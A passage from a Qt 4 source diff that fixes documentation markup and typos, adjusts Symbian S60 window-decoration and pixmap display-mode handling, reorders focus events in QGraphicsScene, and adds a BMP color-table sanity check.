QDeclarativeStateChangeScript::name() const { diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index e533a07..063ec3e 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -82,15 +82,7 @@ QT_BEGIN_NAMESPACE To define multiple transitions, specify \l Item::transitions as a list: - \qml - Item { - ... - transitions: [ - Transition { to: "state1" ... }, - Transition { ... } - ] - } - \endqml + \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular state change. In the example above, when changing to \c state1, the first transition will be used, rather @@ -222,13 +214,7 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act If the transition was changed to this: - \qml - transitions: Transition { - to: "brighter" - ColorAnimation { duration: 1000 } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition The animation would only be applied when changing from the default state to the "brighter" state (i.e. when the mouse is pressed, but not on release). @@ -313,24 +299,12 @@ void QDeclarativeTransition::setToState(const QString &t) This property holds a list of the animations to be run for this transition. - \qml - Transition { - PropertyAnimation { ... } - NumberAnimation { ... } - } - \endqml + \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions The top-level animations are run in parallel. To run them sequentially, define them within a SequentialAnimation: - \qml - Transition { - SequentialAnimation { - PropertyAnimation { ... } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations */ QDeclarativeListProperty<QDeclarativeAbstractAnimation> QDeclarativeTransition::animations() { diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index afca1b0..d691f94 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -90,10 +90,15 @@ typedef QPair<int, int> QDeclarativeXmlListRange; \qml XmlListModel { id: xmlModel - ... - XmlRole { name: "title"; query: "title/string()" } + // ... + XmlRole { + name: "title" + query: "title/string()" + } } + \endqml + \qml ListView { model: xmlModel delegate: Text { text: title } @@ -792,9 +797,9 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati This will access the \c title value for the first item in the model: - \qml - var title = model.get(0).title; - \endqml + \js + var title = model.get(0).title; + \endjs */ QScriptValue QDeclarativeXmlListModel::get(int index) const { diff --git a/src/gui/dialogs/qpagesetupdialog.cpp b/src/gui/dialogs/qpagesetupdialog.cpp index 2a7847e..4037e1c 100644 --- a/src/gui/dialogs/qpagesetupdialog.cpp +++ b/src/gui/dialogs/qpagesetupdialog.cpp @@ -107,10 +107,10 @@ class QPageSetupDialogPrivate : public QAbstractPageSetupDialogPrivate This value is obsolete and does nothing since Qt 4.5: - \value DontUseSheet In previous versions of Qt, exec() the page setup dialog - would create a sheet by default if the dialog was given a parent. - This is no longer supported in Qt 4.5. If you want to use sheets, use - QPageSetupDialog::open() instead. + \value DontUseSheet In previous versions of QDialog::exec() the + page setup dialog would create a sheet by default if the dialog + was given a parent. This is no longer supported from Qt 4.5. If + you want to use sheets, use QPageSetupDialog::open() instead. \omitvalue None \omitvalue OwnsPrinter diff --git a/src/gui/embedded/qscreen_qws.cpp b/src/gui/embedded/qscreen_qws.cpp index 4656af8..e207ed1 100644 --- a/src/gui/embedded/qscreen_qws.cpp +++ b/src/gui/embedded/qscreen_qws.cpp @@ -1768,7 +1768,7 @@ QImage::Format QScreenPrivate::preferredImageFormat() const This function is called by every \l{Qt for Embedded Linux} application on startup, and must be implemented to map in the framebuffer and the accelerated drivers that the graphics card - control registers. Note that coonnect must be called \e before + control registers. Note that connect must be called \e before the initDevice() function. Ensure that true is returned if a connection to the screen device diff --git a/src/gui/graphicsview/qgraphicsanchorlayout.cpp b/src/gui/graphicsview/qgraphicsanchorlayout.cpp index b059bd2..014b61b 100644 --- a/src/gui/graphicsview/qgraphicsanchorlayout.cpp +++ b/src/gui/graphicsview/qgraphicsanchorlayout.cpp @@ -56,9 +56,9 @@ Items that are anchored are automatically added to the layout, and if items are removed, all their anchors will be automatically removed. - \beginfloatleft + \div {float-left} \inlineimage simpleanchorlayout-example.png Using an anchor layout to align simple colored widgets. - \endfloat + \enddiv Anchors are always set up between edges of an item, where the "center" is also considered to be an edge. Consider the following example: diff --git a/src/gui/graphicsview/qgraphicsscene.cpp b/src/gui/graphicsview/qgraphicsscene.cpp index 7b87239..77ccc8e 100644 --- a/src/gui/graphicsview/qgraphicsscene.cpp +++ b/src/gui/graphicsview/qgraphicsscene.cpp @@ -130,7 +130,7 @@ item on the scene gains focus, the scene automatically gains focus. If the scene has focus, hasFocus() will return true, and key events will be forwarded to the focus item, if any. If the scene loses focus, (i.e., - someone calls clearFocus(),) while an item has focus, the scene will + someone calls clearFocus()) while an item has focus, the scene will maintain its item focus information, and once the scene regains focus, it will make sure the last focus item regains focus. @@ -806,28 +806,23 @@ void QGraphicsScenePrivate::setFocusItemHelper(QGraphicsItem *item, } if (focusItem) { - QFocusEvent event(QEvent::FocusOut, focusReason); lastFocusItem = focusItem; - focusItem = 0; - sendEvent(lastFocusItem, &event); #ifndef QT_NO_IM if (lastFocusItem && (lastFocusItem->flags() & QGraphicsItem::ItemAcceptsInputMethod)) { - // Reset any visible preedit text - QInputMethodEvent imEvent; - sendEvent(lastFocusItem, &imEvent); - // Close any external input method panel. This happens // automatically by removing WA_InputMethodEnabled on // the views, but if we are changing focus, we have to // do it ourselves. - if (item) { - for (int i = 0; i < views.size(); ++i) - if (views.at(i)->inputContext()) - views.at(i)->inputContext()->reset(); - } + for (int i = 0; i < views.size(); ++i) + if (views.at(i)->inputContext()) + views.at(i)->inputContext()->reset(); } + + focusItem = 0; + QFocusEvent event(QEvent::FocusOut, focusReason); + sendEvent(lastFocusItem, &event); #endif //QT_NO_IM } @@ -3104,8 +3099,8 @@ bool QGraphicsScene::stickyFocus() const \list \o If the item receives a mouse release event when there are no other buttons pressed, it loses the mouse grab. - \o If the item becomes invisible (i.e., someone calls \c {item->setVisible(false))}, - or if it becomes disabled (i.e., someone calls \c {item->setEnabled(false))}, + \o If the item becomes invisible (i.e., someone calls \c {item->setVisible(false)}), + or if it becomes disabled (i.e., someone calls \c {item->setEnabled(false)}), it loses the mouse grab. \o If the item is removed from the scene, it loses the mouse grab. \endlist @@ -5924,6 +5919,8 @@ bool QGraphicsScenePrivate::sendTouchBeginEvent(QGraphicsItem *origin, QTouchEve } if (item->isPanel()) break; + if (item->d_ptr->flags & QGraphicsItem::ItemStopsClickFocusPropagation) + break; } // If nobody could take focus, clear it. @@ -5956,6 +5953,8 @@ bool QGraphicsScenePrivate::sendTouchBeginEvent(QGraphicsItem *origin, QTouchEve } if (item && item->isPanel()) break; + if (item && (item->d_ptr->flags & QGraphicsItem::ItemStopsClickFocusPropagation)) + break; } touchEvent->setAccepted(eventAccepted); diff --git a/src/gui/image/qbmphandler.cpp b/src/gui/image/qbmphandler.cpp index 09c086a..6dea9d9 100644 --- a/src/gui/image/qbmphandler.cpp +++ b/src/gui/image/qbmphandler.cpp @@ -246,6 +246,8 @@ static bool read_dib_body(QDataStream &s, const BMP_INFOHDR &bi, int offset, int if (depth != 32) { ncols = bi.biClrUsed ? bi.biClrUsed : 1 << nbits; + if (ncols > 256) // sanity check - don't run out of mem if color table is broken + return false; image.setColorCount(ncols); } diff --git a/src/gui/image/qimage.cpp b/src/gui/image/qimage.cpp index 91ee697..d992dd5 100644 --- a/src/gui/image/qimage.cpp +++ b/src/gui/image/qimage.cpp @@ -477,12 +477,12 @@ bool QImageData::checkForAlphaPixels() const function. For example: \table + \header + \o {2,1}32-bit \row \o \inlineimage qimage-32bit_scaled.png \o \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 0 - \header - \o {2,1}32-bit \endtable In case of a 8-bit and monchrome images, the pixel value is only @@ -498,12 +498,12 @@ bool QImageData::checkForAlphaPixels() const example: \table + \header + \o {2,1} 8-bit \row \o \inlineimage qimage-8bit_scaled.png \o \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 1 - \header - \o {2,1} 8-bit \endtable QImage also provide the scanLine() function which returns a diff --git a/src/gui/image/qpixmap_s60.cpp b/src/gui/image/qpixmap_s60.cpp index dbe8177..ca5f133 100644 --- a/src/gui/image/qpixmap_s60.cpp +++ b/src/gui/image/qpixmap_s60.cpp @@ -1012,6 +1012,33 @@ void QS60PixmapData::fromNativeType(void* pixmap, NativeType nativeType) } } +void QS60PixmapData::convertToDisplayMode(int mode) +{ + const TDisplayMode displayMode = static_cast<TDisplayMode>(mode); + if (!cfbsBitmap || cfbsBitmap->DisplayMode() == displayMode) + return; + if (image.depth() != TDisplayModeUtils::NumDisplayModeBitsPerPixel(displayMode)) { + qWarning("Cannot convert display mode due to depth mismatch"); + return; + } + + const TSize size = cfbsBitmap->SizeInPixels(); + QScopedPointer<CFbsBitmap> newBitmap(createSymbianCFbsBitmap(size, displayMode)); + + const uchar *sptr = const_cast<const QImage &>(image).bits(); + symbianBitmapDataAccess->beginDataAccess(newBitmap.data()); + uchar *dptr = (uchar*)newBitmap->DataAddress(); + Mem::Copy(dptr, sptr, image.byteCount()); + symbianBitmapDataAccess->endDataAccess(newBitmap.data()); + + QSymbianFbsHeapLock lock(QSymbianFbsHeapLock::Unlock); + delete cfbsBitmap; + lock.relock(); + cfbsBitmap = newBitmap.take(); + setSerialNumber(cfbsBitmap->Handle()); + UPDATE_BUFFER(); +} + QPixmapData *QS60PixmapData::createCompatiblePixmapData() const { return new QS60PixmapData(pixelType()); diff --git a/src/gui/image/qpixmap_s60_p.h b/src/gui/image/qpixmap_s60_p.h index e4060dc..c440bbc 100644 --- a/src/gui/image/qpixmap_s60_p.h +++ b/src/gui/image/qpixmap_s60_p.h @@ -107,6 +107,8 @@ public: void* toNativeType(NativeType type); void fromNativeType(void* pixmap, NativeType type); + void convertToDisplayMode(int mode); + private: void release(); void fromSymbianBitmap(CFbsBitmap* bitmap, bool lockFormat=false); diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp index 4dd0aa3..291ec6e 100644 --- a/src/gui/itemviews/qabstractitemview.cpp +++ b/src/gui/itemviews/qabstractitemview.cpp @@ -657,9 +657,9 @@ QAbstractItemView::~QAbstractItemView() deleteLater() functions to explicitly delete them. The view \e{does not} take ownership of the model unless it is the model's - parent object because the view may be shared between many different views. + parent object because the model may be shared between many different views. - \sa selectionModel(), setSelectionModel() + \sa selectionModel(), setSelectionModel() */ void QAbstractItemView::setModel(QAbstractItemModel *model) { diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index a9f57f4..eb9c7ed 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1245,12 +1245,14 @@ void QSymbianControl::FocusChanged(TDrawNow /* aDrawNow */) #ifdef Q_WS_S60 // If widget is fullscreen/minimized, hide status pane and button container otherwise show them. QWidget *const window = qwidget->window(); - const bool visible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized)); - const bool statusPaneVisibility = visible; - const bool isFullscreen = window->windowState() & Qt::WindowFullScreen; - const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint; - const bool buttonGroupVisibility = (visible || (isFullscreen && cbaVisibilityHint)); - S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + if (!window->parentWidget()) { // Only top level native windows have control over cba/status pane + const bool decorationsVisible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized)); + const bool statusPaneVisibility = decorationsVisible; + const bool isFullscreen = window->windowState() & Qt::WindowFullScreen; + const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint; + const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaVisibilityHint)); + S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + } #endif } else if (QApplication::activeWindow() == qwidget->window()) { bool focusedControlFound = false; diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp index 2c51722..fbb4920 100644 --- a/src/gui/kernel/qapplication_x11.cpp +++ b/src/gui/kernel/qapplication_x11.cpp @@ -5658,10 +5658,21 @@ static void sm_performSaveYourself(QSessionManagerPrivate* smd) sm_setProperty(QString::fromLatin1(SmProgram), argument0); // tell the session manager about our user as well. struct passwd *entryPtr = 0; -#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) && !defined(Q_OS_OPENBSD) - QVarLengthArray<char, 1024> buf(sysconf(_SC_GETPW_R_SIZE_MAX)); +#if defined(_POSIX_THREAD_SAFE_FUNCTIONS) && (_POSIX_THREAD_SAFE_FUNCTIONS - 0 > 0) + QVarLengthArray<char, 1024> buf(qMax<long>(sysconf(_SC_GETPW_R_SIZE_MAX), 1024L)); struct passwd entry; - getpwuid_r(geteuid(), &entry, buf.data(), buf.size(), &entryPtr); + while (getpwuid_r(geteuid(), &entry, buf.data(), buf.size(), &entryPtr) == ERANGE) { + if (buf.size() >= 32768) { + // too big already, fail + static char badusername[] = ""; + entryPtr = &entry; + entry.pw_name = badusername; + break; + } + + // retry with a bigger buffer + buf.resize(buf.size() * 2); + } #else entryPtr = getpwuid(geteuid()); #endif diff --git a/src/gui/kernel/qgesture.cpp b/src/gui/kernel/qgesture.cpp index 17ede02..56daba2 100644 --- a/src/gui/kernel/qgesture.cpp +++ b/src/gui/kernel/qgesture.cpp @@ -332,7 +332,7 @@ void QPanGesture::setAcceleration(qreal value) /*! \class QPinchGesture \since 4.6 - \brief The QPinchGesture class describes a pinch gesture made my the user. + \brief The QPinchGesture class describes a pinch gesture made by the user. \ingroup touch \ingroup gestures diff --git a/src/gui/kernel/qlayout.cpp b/src/gui/kernel/qlayout.cpp index 1eeaf8e..e014ec8 100644 --- a/src/gui/kernel/qlayout.cpp +++ b/src/gui/kernel/qlayout.cpp @@ -980,10 +980,10 @@ void QLayoutPrivate::reparentChildWidgets(QWidget *mw) /*! This function is called from \c addWidget() functions in - subclasses to add \a w as a child widget. + subclasses to add \a w as a managed widget of a layout. - If \a w is already in a layout, this function will give a warning - and remove \a w from the layout. This function must therefore be + If \a w is already managed by a layout, this function will give a warning + and remove \a w from that layout. This function must therefore be called before adding \a w to the layout's data structure. */ void QLayout::addChildWidget(QWidget *w) diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp index cb72800..d8779c8 100644 --- a/src/gui/kernel/qwidget_s60.cpp +++ b/src/gui/kernel/qwidget_s60.cpp @@ -54,6 +54,7 @@ #ifdef Q_WS_S60 #include <aknappui.h> +#include <akntoolbar.h> #include <eikbtgpc.h> #endif @@ -488,6 +489,7 @@ void QWidgetPrivate::show_sys() QSymbianControl *id = static_cast<QSymbianControl *>(q->internalWinId()); const bool isFullscreen = q->windowState() & Qt::WindowFullScreen; + const TBool cbaRequested = q->windowFlags() & Qt::WindowSoftkeysVisibleHint; #ifdef Q_WS_S60 // Lazily initialize the S60 screen furniture when the first window is shown. @@ -507,11 +509,25 @@ void QWidgetPrivate::show_sys() CEikButtonGroupContainer *cba = CEikButtonGroupContainer::NewL(CEikButtonGroupContainer::ECba, CEikButtonGroupContainer::EHorizontal,ui,R_AVKON_SOFTKEYS_EMPTY_WITH_IDS); + if (isFullscreen && !cbaRequested) + cba->MakeVisible(false); CEikButtonGroupContainer *oldCba = factory->SwapButtonGroup(cba); Q_ASSERT(!oldCba); S60->setButtonGroupContainer(cba); + // If the creation of the first widget is delayed, for example by doing it + // inside the event loop, S60 somehow "forgets" to set the visibility of the + // toolbar (the three middle softkeys) when you flip the phone over, so we + // need to do it ourselves to avoid a "hole" in the application, even though + // Qt itself does not use the toolbar directly.. + CAknAppUi *appui = dynamic_cast<CAknAppUi *>(CEikonEnv::Static()->AppUi()); + if (appui) { + CAknToolbar *toolbar = appui->PopupToolbar(); + if (toolbar && !toolbar->IsVisible()) + toolbar->SetToolbarVisibility(ETrue); + } + CEikMenuBar *menuBar = new(ELeave) CEikMenuBar; menuBar->ConstructL(ui, 0, R_AVKON_MENUPANE_EMPTY); menuBar->SetMenuType(CEikMenuBar::EMenuOptions); @@ -1160,14 +1176,17 @@ void QWidget::setWindowState(Qt::WindowStates newstate) } #ifdef Q_WS_S60 - // Hide window decoration when switching to fullsccreen / minimized otherwise show decoration. - // The window decoration visibility has to be changed before doing actual window state - // change since in that order the availableGeometry will return directly the right size and - // we will avoid unnecessarty redraws - const bool visible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized)); - const bool statusPaneVisibility = visible; - const bool buttonGroupVisibility = (visible || (isFullscreen && cbaRequested)); - S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + bool decorationsVisible(false); + if (!parentWidget()) { // Only top level native windows have control over cba/status pane + // Hide window decoration when switching to fullscreen / minimized otherwise show decoration. + // The window decoration visibility has to be changed before doing actual window state + // change since in that order the availableGeometry will return directly the right size and + // we will avoid unnecessary redraws + decorationsVisible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized)); + const bool statusPaneVisibility = decorationsVisible; + const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaRequested)); + S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + } #endif // Q_WS_S60 // Ensure the initial size is valid, since we store it as normalGeometry below. @@ -1191,7 +1210,7 @@ void QWidget::setWindowState(Qt::WindowStates newstate) // accurate because it did not consider the status pane. This means that when returning // normal mode after showing the status pane, the geometry would overlap so we should // move it if it never had an explicit position. - if (!wasMoved && S60->statusPane() && visible) { + if (!wasMoved && S60->statusPane() && decorationsVisible) { TPoint tl = static_cast<CEikAppUi*>(S60->appUi())->ClientRect().iTl; normalGeometry.setTopLeft(QPoint(tl.iX, tl.iY)); } diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 1a5417d..b378b78 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -1327,40 +1327,12 @@ QPoint QWidgetPrivate::mapFromGlobal(const QPoint &pos) const QPoint QWidget::mapToGlobal(const QPoint &pos) const { Q_D(const QWidget); - QPoint offset = data->crect.topLeft(); - const QWidget *w = this; - const QWidget *p = w->parentWidget(); - while (!w->isWindow() && p) { - w = p; - p = p->parentWidget(); - offset += w->data->crect.topLeft(); - } - - const QWidgetPrivate *wd = w->d_func(); - QTLWExtra *tlw = wd->topData(); - if (!tlw->embedded) - return pos + offset; - return d->mapToGlobal(pos); } QPoint QWidget::mapFromGlobal(const QPoint &pos) const { Q_D(const QWidget); - QPoint offset = data->crect.topLeft(); - const QWidget *w = this; - const QWidget *p = w->parentWidget(); - while (!w->isWindow() && p) { - w = p; - p = p->parentWidget(); - offset += w->data->crect.topLeft(); - } - - const QWidgetPrivate *wd = w->d_func(); - QTLWExtra *tlw = wd->topData(); - if (!tlw->embedded) - return pos - offset; - return d->mapFromGlobal(pos); } diff --git a/src/gui/painting/qbrush.cpp b/src/gui/painting/qbrush.cpp index 5741667..811f3ae 100644 --- a/src/gui/painting/qbrush.cpp +++ b/src/gui/painting/qbrush.cpp @@ -1217,14 +1217,14 @@ QDataStream &operator>>(QDataStream &s, QBrush &b) Each of the types is represented by a subclass of QGradient: \table - \row - \o \inlineimage qgradient-linear.png - \o \inlineimage qgradient-radial.png - \o \inlineimage qgradient-conical.png \header \o QLinearGradient \o QRadialGradient \o QConicalGradient + \row + \o \inlineimage qgradient-linear.png + \o \inlineimage qgradient-radial.png + \o \inlineimage qgradient-conical.png \endtable The colors in a gradient are defined using stop points of the diff --git a/src/gui/painting/qcolor.cpp b/src/gui/painting/qcolor.cpp index 173fb71..73a6ed8 100644 --- a/src/gui/painting/qcolor.cpp +++ b/src/gui/painting/qcolor.cpp @@ -78,12 +78,12 @@ QT_BEGIN_NAMESPACE names. \table + \header + \o RGB \o HSV \o CMYK \row \o \inlineimage qcolor-rgb.png \o \inlineimage qcolor-hsv.png \o \inlineimage qcolor-cmyk.png - \header - \o RGB \o HSV \o CMYK \endtable The QColor constructor creates the color based on RGB values. To diff --git a/src/gui/painting/qpainter.cpp b/src/gui/painting/qpainter.cpp index a5f4251..2c25e70 100644 --- a/src/gui/painting/qpainter.cpp +++ b/src/gui/painting/qpainter.cpp @@ -1126,14 +1126,14 @@ void QPainterPrivate::updateState(QPainterState *newState) the range of available patterns. \table - \row - \o \inlineimage qpainter-vectordeformation.png - \o \inlineimage qpainter-gradients.png - \o \inlineimage qpainter-pathstroking.png \header \o \l {demos/deform}{Vector Deformation} \o \l {demos/gradients}{Gradients} \o \l {demos/pathstroke}{Path Stroking} + \row + \o \inlineimage qpainter-vectordeformation.png + \o \inlineimage qpainter-gradients.png + \o \inlineimage qpainter-pathstroking.png \endtable @@ -1206,13 +1206,13 @@ void QPainterPrivate::updateState(QPainterState *newState) coordinate transformations. \table + \header + \o nop \o rotate() \o scale() \o translate() \row \o \inlineimage qpainter-clock.png \o \inlineimage qpainter-rotation.png \o \inlineimage qpainter-scale.png \o \inlineimage qpainter-translation.png - \header - \o nop \o rotate() \o scale() \o translate() \endtable The most commonly used transformations are scaling, rotation, diff --git a/src/gui/painting/qpainterpath.cpp b/src/gui/painting/qpainterpath.cpp index 3d532d2..81ca40f 100644 --- a/src/gui/painting/qpainterpath.cpp +++ b/src/gui/painting/qpainterpath.cpp @@ -240,12 +240,12 @@ static void qt_debug_path(const QPainterPath &path) provides two methods for filling paths: \table - \row - \o \inlineimage qt-fillrule-oddeven.png - \o \inlineimage qt-fillrule-winding.png \header \o Qt::OddEvenFill \o Qt::WindingFill + \row + \o \inlineimage qt-fillrule-oddeven.png + \o \inlineimage qt-fillrule-winding.png \endtable See the Qt::FillRule documentation for the definition of the @@ -315,12 +315,12 @@ static void qt_debug_path(const QPainterPath &path) QPainterPath to draw text. \table - \row - \o \inlineimage qpainterpath-example.png - \o \inlineimage qpainterpath-demo.png \header \o \l {painting/painterpaths}{Painter Paths Example} \o \l {demos/deform}{Vector Deformation Demo} + \row + \o \inlineimage qpainterpath-example.png + \o \inlineimage qpainterpath-demo.png \endtable \sa QPainterPathStroker, QPainter, QRegion, {Painter Paths Example} @@ -1279,12 +1279,12 @@ Qt::FillRule QPainterPath::fillRule() const fillRule. Qt provides two methods for filling paths: \table - \row - \o \inlineimage qt-fillrule-oddeven.png - \o \inlineimage qt-fillrule-winding.png \header \o Qt::OddEvenFill (default) \o Qt::WindingFill + \row + \o \inlineimage qt-fillrule-oddeven.png + \o \inlineimage qt-fillrule-winding.png \endtable \sa fillRule() diff --git a/src/gui/painting/qwindowsurface_s60.cpp b/src/gui/painting/qwindowsurface_s60.cpp index a860818..71556d7 100644 --- a/src/gui/painting/qwindowsurface_s60.cpp +++ b/src/gui/painting/qwindowsurface_s60.cpp @@ -61,13 +61,11 @@ struct QS60WindowSurfacePrivate QList<QImage*> bufferImages; }; -QS60WindowSurface::QS60WindowSurface(QWidget* widget) - : QWindowSurface(widget), d_ptr(new QS60WindowSurfacePrivate) +TDisplayMode displayMode(bool opaque) { TDisplayMode mode = S60->screenDevice()->DisplayMode(); - bool isOpaque = qt_widget_private(widget)->isOpaque; - if (isOpaque) { + if (opaque) { mode = EColor16MU; } else { if (QSysInfo::symbianVersion() >= QSysInfo::SV_SF_3) @@ -75,7 +73,13 @@ QS60WindowSurface::QS60WindowSurface(QWidget* widget) else mode = EColor16MA; // Symbian prior to Symbian^3 sw accelerates EColor16MA } + return mode; +} +QS60WindowSurface::QS60WindowSurface(QWidget* widget) + : QWindowSurface(widget), d_ptr(new QS60WindowSurfacePrivate) +{ + TDisplayMode mode = displayMode(qt_widget_private(widget)->isOpaque); // We create empty CFbsBitmap here -> it will be resized in setGeometry CFbsBitmap *bitmap = new CFbsBitmap; // CBase derived object needs check on new Q_CHECK_PTR(bitmap); @@ -122,6 +126,11 @@ void QS60WindowSurface::beginPaint(const QRegion &rgn) if (!qt_widget_private(window())->isOpaque) { QS60PixmapData *pixmapData = static_cast<QS60PixmapData *>(d_ptr->device.data_ptr().data()); + + TDisplayMode mode = displayMode(false); + if (pixmapData->cfbsBitmap->DisplayMode() != mode) + pixmapData->convertToDisplayMode(mode); + pixmapData->beginDataAccess(); QPainter p(&pixmapData->image); diff --git a/src/gui/widgets/qscrollbar.cpp b/src/gui/widgets/qscrollbar.cpp index 67f34eb..c895b1b 100644 --- a/src/gui/widgets/qscrollbar.cpp +++ b/src/gui/widgets/qscrollbar.cpp @@ -82,21 +82,21 @@ QT_BEGIN_NAMESPACE needs. \table - \row \i \image qscrollbar-picture.png - \i Scroll bars typically include four separate controls: a slider, + \row \o \image qscrollbar-picture.png + \o Scroll bars typically include four separate controls: a slider, scroll arrows, and a page control. \list - \i a. The slider provides a way to quickly go to any part of the + \o a. The slider provides a way to quickly go to any part of the document, but does not support accurate navigation within large documents. - \i b. The scroll arrows are push buttons which can be used to accurately + \o b. The scroll arrows are push buttons which can be used to accurately navigate to a particular place in a document. For a vertical scroll bar connected to a text editor, these typically move the current position one "line" up or down, and adjust the position of the slider by a small amount. In editors and list boxes a "line" might mean one line of text; in an image viewer it might mean 20 pixels. - \i c. The page control is the area over which the slider is dragged (the + \o c. The page control is the area over which the slider is dragged (the scroll bar's background). Clicking here moves the scroll bar towards the click by one "page". This value is usually the same as the length of the slider. @@ -134,13 +134,12 @@ QT_BEGIN_NAMESPACE value of 80. This would give us a scroll bar with five "pages". \table - \row \i \inlineimage qscrollbar-values.png - \i The relationship between a document length, the range of values used + \row \o \inlineimage qscrollbar-values.png + \o The relationship between a document length, the range of values used in a scroll bar, and the page step is simple in many common situations. The scroll bar's range of values is determined by subtracting a chosen page step from some value representing the length of the document. In such cases, the following equation is useful: - \e{document length} = maximum() - minimum() + pageStep(). \endtable @@ -153,18 +152,18 @@ QT_BEGIN_NAMESPACE ScrollBar inherits a comprehensive set of signals from QAbstractSlider: \list - \i \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the + \o \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the scroll bar's value has changed. The tracking() determines whether this signal is emitted during user interaction. - \i \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the + \o \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the scroll bar's range of values has changed. - \i \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when + \o \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when the user starts to drag the slider. - \i \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user + \o \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user drags the slider. - \i \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when + \o \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when the user releases the slider. - \i \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted + \o \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted when the scroll bar is changed by user interaction or via the \l{QAbstractSlider::triggerAction()}{triggerAction()} function. \endlist @@ -173,12 +172,12 @@ QT_BEGIN_NAMESPACE default focusPolicy() of Qt::NoFocus. Use setFocusPolicy() to enable keyboard interaction with the scroll bar: \list - \i Left/Right move a horizontal scroll bar by one single step. - \i Up/Down move a vertical scroll bar by one single step. - \i PageUp moves up one page. - \i PageDown moves down one page. - \i Home moves to the start (mininum). - \i End moves to the end (maximum). + \o Left/Right move a horizontal scroll bar by one single step. + \o Up/Down move a vertical scroll bar by one single step. + \o PageUp moves up one page. + \o PageDown moves down one page. + \o Home moves to the start (mininum). + \o End moves to the end (maximum). \endlist The slider itself can be controlled by using the diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp index ba3adc5..1b6e723 100644 --- a/src/imports/gestures/qdeclarativegesturearea.cpp +++ b/src/imports/gestures/qdeclarativegesturearea.cpp @@ -86,22 +86,22 @@ public: A GestureArea is like a MouseArea, but it has signals for gesture events. - \e {Elements in the Qt.labs module are not guaranteed to remain compatible - in future versions.} + \warning Elements in the Qt.labs module are not guaranteed to remain compatible + in future versions. - \e {This element is only functional on devices with touch input.} + \note This element is only functional on devices with touch input. \qml import Qt.labs.gestures 1.0 GestureArea { anchors.fill: parent - onPan: ... gesture.acceleration ... - onPinch: ... gesture.rotationAngle ... - onSwipe: ... - onTapAndHold: ... - onTap: ... - onGesture: ... + // onPan: ... gesture.acceleration ... + // onPinch: ... gesture.rotationAngle ... + // onSwipe: ... + // onTapAndHold: ... + // onTap: ... + // onGesture: ... } \endqml diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 8f050d4..f1c4447 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -1358,10 +1358,11 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co networkSession = QSharedNetworkSessionManager::getSession(config); - QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); - QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); + QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected()), Qt::QueuedConnection); + //QueuedConnection is used to avoid deleting the networkSession inside its closed signal + QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed()), Qt::QueuedConnection); QObject::connect(networkSession.data(), 